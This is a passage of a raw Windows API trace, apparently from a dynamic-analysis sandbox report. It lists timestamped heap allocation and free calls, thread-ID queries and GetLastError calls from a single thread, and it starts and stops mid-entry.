Flags=0x0, Size=0x10) returned 0x2c84c38 [0075.836] GetCurrentThreadId () returned 0x9b0 [0075.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a88 [0075.836] GetCurrentThreadId () returned 0x9b0 [0075.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c50 [0075.836] GetCurrentThreadId () returned 0x9b0 [0075.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849f8 [0075.836] GetCurrentThreadId () returned 0x9b0 [0075.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ae8 [0075.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ae8 | out: hHeap=0x2ad0000) returned 1 [0075.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a58 [0075.836] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84b90, Size=0x20) returned 0x30281c0 [0075.836] GetCurrentThreadId () returned 0x9b0 [0075.836] GetCurrentThreadId () returned 0x9b0 [0075.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ae8 [0075.836] GetCurrentThreadId () returned 0x9b0 [0075.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c98 [0075.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ad0 [0075.837] GetCurrentThreadId () returned 0x9b0 [0075.837] GetCurrentThreadId () returned 0x9b0 [0075.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de798 [0075.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b78 [0075.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b78 | out: hHeap=0x2ad0000) returned 1 [0075.837] GetCurrentThreadId () returned 0x9b0 [0075.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c80 [0075.837] GetCurrentThreadId () returned 0x9b0 [0075.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ab8 [0075.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b90 [0075.837] GetCurrentThreadId () returned 0x9b0 [0075.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a10 [0075.837] GetCurrentThreadId () returned 0x9b0 [0075.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de818 [0075.837] GetCurrentThreadId () returned 0x9b0 [0075.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84cb0 [0075.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cb0 | out: hHeap=0x2ad0000) returned 1 [0075.838] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c846f8, Size=0x10) returned 0x2c84b00 [0075.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846f8 [0075.838] GetCurrentThreadId () returned 0x9b0 [0075.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a28 [0075.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b00 | out: hHeap=0x2ad0000) returned 1 [0075.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84cb0 [0075.838] GetCurrentThreadId () returned 0x9b0 [0075.838] GetCurrentThreadId () returned 0x9b0 [0075.838] GetCurrentThreadId () returned 0x9b0 [0075.838] GetCurrentThreadId () returned 0x9b0 [0075.838] GetCurrentThreadId () returned 0x9b0 [0075.838] GetCurrentThreadId () returned 0x9b0 [0075.838] GetCurrentThreadId () returned 0x9b0 [0075.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.838] GetCurrentThreadId () returned 0x9b0 [0075.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b30 [0075.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b60 [0075.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b60 | out: hHeap=0x2ad0000) returned 1 [0075.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a40 | out: hHeap=0x2ad0000) returned 1 [0075.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b00 [0075.839] GetCurrentThreadId () returned 0x9b0 [0075.839] GetCurrentThreadId () returned 0x9b0 [0075.839] GetCurrentThreadId () returned 0x9b0 [0075.839] GetCurrentThreadId () returned 0x9b0 [0075.839] GetCurrentThreadId () returned 0x9b0 [0075.839] GetCurrentThreadId () returned 0x9b0 [0075.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b48 [0075.839] GetCurrentThreadId () returned 0x9b0 [0075.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b60 [0075.839] GetCurrentThreadId () returned 0x9b0 [0075.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a40 | out: hHeap=0x2ad0000) returned 1 [0075.840] GetCurrentThreadId () returned 0x9b0 [0075.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b48 | out: hHeap=0x2ad0000) returned 1 [0075.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b48 [0075.840] GetCurrentThreadId () returned 0x9b0 [0075.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ba8 [0075.840] GetCurrentThreadId () returned 0x9b0 [0075.840] GetCurrentThreadId () returned 0x9b0 [0075.840] GetCurrentThreadId () returned 0x9b0 [0075.840] GetCurrentThreadId () returned 0x9b0 [0075.840] GetCurrentThreadId () returned 0x9b0 [0075.840] GetCurrentThreadId () returned 0x9b0 [0075.840] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.841] GetCurrentThreadId () returned 0x9b0 [0075.842] GetCurrentThreadId () returned 0x9b0 [0075.842] GetCurrentThreadId () returned 0x9b0 [0075.842] GetCurrentThreadId () returned 0x9b0 [0075.842] GetCurrentThreadId () returned 0x9b0 [0075.842] GetCurrentThreadId () returned 0x9b0 [0075.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.842] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84a40, Size=0x20) returned 0x30283f0 [0075.842] GetCurrentThreadId () returned 0x9b0 [0075.842] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a18e18 [0075.842] GetCurrentThreadId () returned 0x9b0 [0075.842] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19818 [0075.842] GetCurrentThreadId () returned 0x9b0 [0075.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b78 [0075.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a40 | out: hHeap=0x2ad0000) returned 1 [0075.842] GetCurrentThreadId () returned 0x9b0 [0075.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x3227490 [0075.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3227490 | out: hHeap=0x2ad0000) returned 1 [0075.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028350 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.843] GetLastError () returned 0x0 [0075.844] GetLastError () returned 0x0 [0075.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028350 | out: hHeap=0x2ad0000) returned 1 [0075.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.844] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0xa0) returned 0x334c070 [0075.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b78 | out: hHeap=0x2ad0000) returned 1 [0075.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0075.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.844] GetCurrentThreadId () returned 0x9b0 [0075.844] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x334c070, Size=0xd0) returned 0x34a2cd8 [0075.844] GetCurrentThreadId () returned 0x9b0 [0075.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.845] GetCurrentThreadId () returned 0x9b0 [0075.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19b28 [0075.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19428 [0075.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0075.845] GetCurrentThreadId () returned 0x9b0 [0075.845] GetCurrentThreadId () returned 0x9b0 [0075.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b78 [0075.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b78 | out: hHeap=0x2ad0000) returned 1 [0075.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x3226f68 [0075.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3226f68 | out: hHeap=0x2ad0000) returned 1 [0075.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30282d8 [0075.845] GetCurrentThreadId () returned 0x9b0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.846] GetLastError () returned 0x0 [0075.847] GetLastError () returned 0x0 [0075.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0075.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0075.847] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x34a2cd8, Size=0x114) returned 0x2c919d0 [0075.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0075.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b78 [0075.847] GetCurrentThreadId () returned 0x9b0 [0075.847] GetCurrentThreadId () returned 0x9b0 [0075.847] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c919d0, Size=0x150) returned 0x31da3b8 [0075.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84de8 [0075.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84de8 | out: hHeap=0x2ad0000) returned 1 [0075.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.848] GetCurrentThreadId () returned 0x9b0 [0075.848] GetCurrentThreadId () returned 0x9b0 [0075.848] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31da3b8, Size=0x194) returned 0x2cbbbb0 [0075.848] GetCurrentThreadId () returned 0x9b0 [0075.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20078 [0075.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183a60 [0075.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0075.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183960 [0075.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a60 | out: hHeap=0x2ad0000) returned 1 [0075.848] GetCurrentThreadId () returned 0x9b0 [0075.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x3227490 [0075.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3227490 | out: hHeap=0x2ad0000) returned 1 [0075.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30283f0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] GetLastError () returned 0x0 [0075.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30283f0 | out: hHeap=0x2ad0000) returned 1 [0075.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183960 | out: hHeap=0x2ad0000) returned 1 [0075.850] GetCurrentThreadId () returned 0x9b0 [0075.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0075.850] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbbbb0, Size=0x1e0) returned 0x31d7228 [0075.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b78 | out: hHeap=0x2ad0000) returned 1 [0075.850] GetCurrentThreadId () returned 0x9b0 [0075.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a40 | out: hHeap=0x2ad0000) returned 1 [0075.850] GetCurrentThreadId () returned 0x9b0 [0075.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b78 [0075.850] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d7228, Size=0x238) returned 0x33de870 [0075.850] GetCurrentThreadId () returned 0x9b0 [0075.850] GetCurrentThreadId () returned 0x9b0 [0075.850] GetCurrentThreadId () returned 0x9b0 [0075.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.851] GetCurrentThreadId () returned 0x9b0 [0075.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a40 | out: hHeap=0x2ad0000) returned 1 [0075.851] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de870, Size=0x298) returned 0x3350e70 [0075.851] GetCurrentThreadId () returned 0x9b0 [0075.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.851] GetCurrentThreadId () returned 0x9b0 [0075.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84d70 [0075.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d70 | out: hHeap=0x2ad0000) returned 1 [0075.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.851] GetCurrentThreadId () returned 0x9b0 [0075.851] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3350e70, Size=0x304) returned 0x33d8328 [0075.852] GetCurrentThreadId () returned 0x9b0 [0075.852] GetCurrentThreadId () returned 0x9b0 [0075.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84d40 [0075.852] GetCurrentThreadId () returned 0x9b0 [0075.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d40 | out: hHeap=0x2ad0000) returned 1 [0075.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.852] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d8328, Size=0x380) returned 0x33d8328 [0075.852] GetCurrentThreadId () returned 0x9b0 [0075.852] GetCurrentThreadId () returned 0x9b0 [0075.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.852] GetCurrentThreadId () returned 0x9b0 [0075.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e90 [0075.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e90 | out: hHeap=0x2ad0000) returned 1 [0075.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.853] GetCurrentThreadId () returned 0x9b0 [0075.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.853] GetCurrentThreadId () returned 0x9b0 [0075.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e00 [0075.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e00 | out: hHeap=0x2ad0000) returned 1 [0075.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.853] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d8328, Size=0x40c) returned 0x33d8328 [0075.853] GetCurrentThreadId () returned 0x9b0 [0075.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e18 [0075.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e18 | out: hHeap=0x2ad0000) returned 1 [0075.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.854] GetCurrentThreadId () returned 0x9b0 [0075.854] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84a40, Size=0x20) returned 0x3028238 [0075.854] GetCurrentThreadId () returned 0x9b0 [0075.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.854] GetCurrentThreadId () returned 0x9b0 [0075.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a40 | out: hHeap=0x2ad0000) returned 1 [0075.854] GetCurrentThreadId () returned 0x9b0 [0075.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a40 | out: hHeap=0x2ad0000) returned 1 [0075.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.855] GetCurrentThreadId () returned 0x9b0 [0075.855] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d8328, Size=0x4a8) returned 0x33d8328 [0075.855] GetCurrentThreadId () returned 0x9b0 [0075.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a40 | out: hHeap=0x2ad0000) returned 1 [0075.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.855] GetCurrentThreadId () returned 0x9b0 [0075.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0075.855] GetCurrentThreadId () returned 0x9b0 [0075.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.855] GetCurrentThreadId () returned 0x9b0 [0075.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20258 [0075.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f20 [0075.856] GetCurrentThreadId () returned 0x9b0 [0075.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f20 | out: hHeap=0x2ad0000) returned 1 [0075.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0075.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.856] GetCurrentThreadId () returned 0x9b0 [0075.856] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d8328, Size=0x558) returned 